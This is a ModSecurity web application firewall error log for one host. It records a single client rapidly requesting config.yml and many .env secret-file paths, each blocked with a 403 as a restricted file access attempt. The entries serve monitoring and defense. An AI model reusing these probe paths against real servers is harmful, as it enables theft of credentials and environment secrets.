[Thu Feb 26 01:02:58.855455 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkpwAAAAM&quot;]
[Thu Feb 26 01:02:58.855645 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkpwAAAAM&quot;]
[Thu Feb 26 01:02:58.871673 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codegolf.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiQAAAAU&quot;]
[Thu Feb 26 01:02:58.871909 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiQAAAAU&quot;]
[Thu Feb 26 01:02:58.872065 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiQAAAAU&quot;]
[Thu Feb 26 01:02:58.899097 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codenames-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PigAAAAU&quot;]
[Thu Feb 26 01:02:58.899316 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PigAAAAU&quot;]
[Thu Feb 26 01:02:58.899464 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PigAAAAU&quot;]
[Thu Feb 26 01:02:58.935611 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collab-connect-web-application/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiwAAAAU&quot;]
[Thu Feb 26 01:02:58.935865 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiwAAAAU&quot;]
[Thu Feb 26 01:02:58.936013 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiwAAAAU&quot;]
[Thu Feb 26 01:02:58.970706 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collected_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjAAAAAU&quot;]
[Thu Feb 26 01:02:58.970914 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjAAAAAU&quot;]
[Thu Feb 26 01:02:58.971057 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjAAAAAU&quot;]
[Thu Feb 26 01:02:58.998142 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /community/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjQAAAAU&quot;]
[Thu Feb 26 01:02:58.998385 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjQAAAAU&quot;]
[Thu Feb 26 01:02:58.998533 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PjQAAAAU&quot;]
[Thu Feb 26 01:02:59.032855 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PjgAAAAU&quot;]
[Thu Feb 26 01:02:59.033095 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PjgAAAAU&quot;]
[Thu Feb 26 01:02:59.033258 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PjgAAAAU&quot;]
[Thu Feb 26 01:02:59.072409 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrQAAAAM&quot;]
[Thu Feb 26 01:02:59.072657 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrQAAAAM&quot;]
[Thu Feb 26 01:02:59.072827 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrQAAAAM&quot;]
[Thu Feb 26 01:02:59.105822 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containers/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrgAAAAM&quot;]
[Thu Feb 26 01:02:59.106066 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrgAAAAM&quot;]
[Thu Feb 26 01:02:59.106224 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrgAAAAM&quot;]
[Thu Feb 26 01:02:59.134876 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrwAAAAM&quot;]
[Thu Feb 26 01:02:59.135105 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrwAAAAM&quot;]
[Thu Feb 26 01:02:59.135257 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkrwAAAAM&quot;]
[Thu Feb 26 01:02:59.136327 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkQAAAAU&quot;]
[Thu Feb 26 01:02:59.136540 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkQAAAAU&quot;]
[Thu Feb 26 01:02:59.136687 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkQAAAAU&quot;]
[Thu Feb 26 01:02:59.178883 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkgAAAAU&quot;]
